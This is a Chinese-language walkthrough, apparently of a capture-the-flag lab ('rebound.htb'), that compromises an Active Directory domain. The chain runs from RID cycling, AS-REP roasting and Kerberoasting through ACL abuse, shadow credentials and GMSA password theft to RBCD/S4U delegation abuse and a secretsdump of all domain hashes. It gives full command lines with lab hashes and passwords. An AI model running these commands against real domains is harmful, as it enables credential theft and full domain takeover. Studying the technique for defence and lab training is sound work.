攻破ActiveDirectory:Kerberos委派与RBCD滥用实战

admin 2026-03-03 04:04:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述攻破AD域的实战过程,利用RID循环与Kerberos攻击获初始凭证,结合ACL滥用与影子凭证提权。核心演示如何利用GMSA密码提取与RBCD构建S4U攻击链夺取域控权限。文中包含详细工具示例与配置注意点,极具实战参考价值。 综合评分: 93 文章分类: 内网渗透,渗透测试,红队,实战经验


cover_image

攻破Active Directory:Kerberos委派与RBCD滥用实战

柠檬赏金猎人

2026年2月28日 10:00 广东

概述

综合利用RID循环攻击、AS-REP Roasting、Kerberoasting、ACL滥用、影子凭证、GMSA密码提取、约束委派和基于资源的约束委派(RBCD)等多种技术,最终获取域管理员权限。整个攻击链展示了现代AD环境中常见的安全配置问题和攻击面。

技术/功能

核心攻击技术:

  1. 信息收集与用户枚举
  • RID循环攻击:通过SMB空会话(guest)枚举域用户和组。
  • 端口扫描:识别域控制器标准端口(LDAP, Kerberos, SMB等)。
  1. 初始访问
  • AS-REP Roasting:利用用户jjones设置的DONT_REQUIRE_PREAUTH属性,获取其Kerberos AS-REP哈希。
  • 无凭证Kerberoasting:滥用jjones的预认证绕过属性,为其他服务账户(如ldap_monitor)请求TGS票据并离线破解。
  1. 横向移动与权限提升
  • 密码喷洒:发现ldap_monitoroorend共享密码。
  • ACL分析与滥用
    • 发现oorendServiceMgmt组拥有Self权限,可将自身添加到该组。
    • ServiceMgmt组对Service Users OU拥有GenericAll权限,从而oorend可以控制该OU内的用户(如winrm_svc)。
  • 接管目标账户
    • 方法一(密码重置):直接修改winrm_svc用户的密码。
    • 方法二(影子凭证):使用Certipy为winrm_svc添加影子凭证(Key Credential),获取其NTLM哈希,更为隐蔽。
  • 跨会话中继攻击:利用TBrady用户已登录的会话,通过RemotePotato0KrbRelay工具触发其NTLM认证并中继/捕获哈希,随后破解获得明文密码。
  1. 关键信息获取
  • GMSA密码读取TBradydelegator$(GMSA账户)拥有ReadGMSAPassword权限。使用bloodyADGMSAPasswordReadernetexec提取其NTLM哈希。
  1. 委派滥用与域控妥协
  • 约束委派分析:发现delegator$账户被配置为对DC01$HTTP服务进行约束委派。
  • 基于资源的约束委派(RBCD)设置:利用delegator$的哈希,通过rbcd.pyldap_monitor设置为delegator$的受信任委派主体。
  • S4U2Self + S4U2Proxy链
    1. ldap_monitor身份,通过S4U2Self和S4U2Proxy,模拟DC01$机器账户获取一个访问delegator$服务(browser/dc01.rebound.htb)的可转发票据。
    2. delegator$身份,使用上一步获得的可转发票据,结合其原有的约束委派权限,通过S4U2Proxy为DC01$机器账户请求访问DC01HTTP服务票据。
  • 哈希转储:使用最终获得的DC01$机器账户票据,通过secretsdump.py的DRSUAPI方法转储整个域(NTDS.DIT)的NTLM哈希。
  • 域管理员访问:使用管理员的NTLM哈希通过Evil-WinRM获得域控的完全控制权。

涉及工具:

  • nmapnetexeclookupsid.py
  • GetNPUsers.pyGetUserSPNs.py
  • hashcat
  • bloodhound-pythonbloodyADpowerview.py
  • certipyRunasCs.exe
  • RemotePotato0KrbRelay
  • GMSAPasswordReader.exe
  • rbcd.pygetST.pysecretsdump.py
  • evil-winrm

使用示例

1. 无凭证Kerberoasting (AS-REP + Kerberoast组合)

# 1. 枚举用户 (RID循环)
lookupsid.py -no-pass '[email protected]' 8000 | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 > users.txt

# 2. 发现无需预认证的用户
GetNPUsers.py -usersfile users.txt rebound.htb/ -dc-ip 10.10.11.231

# 3. 利用该用户进行Kerberoasting
GetUserSPNs.py -no-preauth jjones -usersfile users.txt -dc-host 10.10.11.231 rebound.htb/ | grep '^\$krb' > kerb_hashes.txt

# 4. 破解哈希
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt

2. 影子凭证攻击

# 使用Certipy为受控用户添加影子凭证并获取哈希
certipy shadow auto -username [email protected] -password 'Password123' -k -account winrm_svc -target dc01.rebound.htb
# 输出中包含目标用户的NTLM哈希

3. 基于资源的约束委派 (RBCD) 攻击链

# 1. 添加RBCD权限
rbcd.py 'rebound.htb/delegator$' -hashes :E1630B0E18242439A50E9D8B5F5B7524 -k -delegate-from ldap_monitor -delegate-to 'delegator$' -action write -dc-ip dc01.rebound.htb -use-ldaps

# 2. 获取可转发票据 (S4U2Self + S4U2Proxy)
getST.py 'rebound.htb/ldap_monitor:Password123' -spn browser/dc01.rebound.htb -impersonate DC01$
# 保存为票据缓存文件,例如 DC01\$@[email protected]

# 3. 利用约束委派获取DC机器账户票据
getST.py -spn http/dc01.rebound.htb -impersonate 'DC01$' 'rebound.htb/delegator$' -hashes :E1630B0E18242439A50E9D8B5F5B7524 -additional-ticket DC01\$@[email protected]
# 保存为新的票据缓存文件

# 4. 使用机器账户票据转储域哈希
export KRB5CCNAME='DC01$@[email protected]'
secretsdump.py -no-pass -k dc01.rebound.htb -just-dc-ntlm

注意事项

  1. LDAP通道绑定:目标域控制器强制要求LDAP通道绑定和签名。在使用LDAP相关工具(如bloodhound-pythoncertipy findnetexec ldap)时,可能需要添加-k(Kerberos)、-scheme ldaps--use-ldaps参数,甚至安装特定补丁的ldap3库。
  2. 票据与哈希:Kerberos票据(.ccache)和NTLM哈希是不同形式的凭据,适用于不同的协议和工具。理解getST.pysecretsdump.py等工具何时使用-k(票据)或-hashes参数至关重要。
  3. 清理与重置:实验环境中可能存在自动化脚本重置某些配置(如RBCD)。如果攻击步骤中途失败,可能需要重新执行之前的设置步骤。
  4. 主机名解析:确保攻击机能够正确解析域控制器的主机名(如dc01.rebound.htb),将其添加到/etc/hosts文件,否则Kerberos认证可能失败。
  5. 工具版本:某些工具(如bloodhound-python的新版本)在数据收集时可能遇到错误,需要调整参数或使用旧版本。GetUserSPNs.py的无预认证Kerberoasting功能需要较新的Impacket版本。
  6. 攻击路径多样性:本机展示了多种达到同一目的的方法(如密码重置 vs. 影子凭证,RemotePotato0 vs. KrbRelay),理解其原理和优缺点有助于在实际场景中选择合适的技术。

参考链接

  • https://www.semperis.com/blog/new-attack-paths-as-requested-sts/
  • https://github.com/fortra/impacket
  • https://github.com/aniqfakhrul/powerview.py
  • https://github.com/CravateRouge/bloodyAD
  • https://github.com/ly4k/Certipy
  • https://github.com/antonioCoco/RemotePotato0
  • https://github.com/cube0x0/KrbRelay
  • https://github.com/rvazarkar/GMSAPasswordReader
  • https://www.thehacker.recipes/a-d/movement/dacl/readgmsapassword
  • https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:柠檬赏金猎人 《攻破Active Directory:Kerberos委派与RBCD滥用实战》

评论:0   参与:  0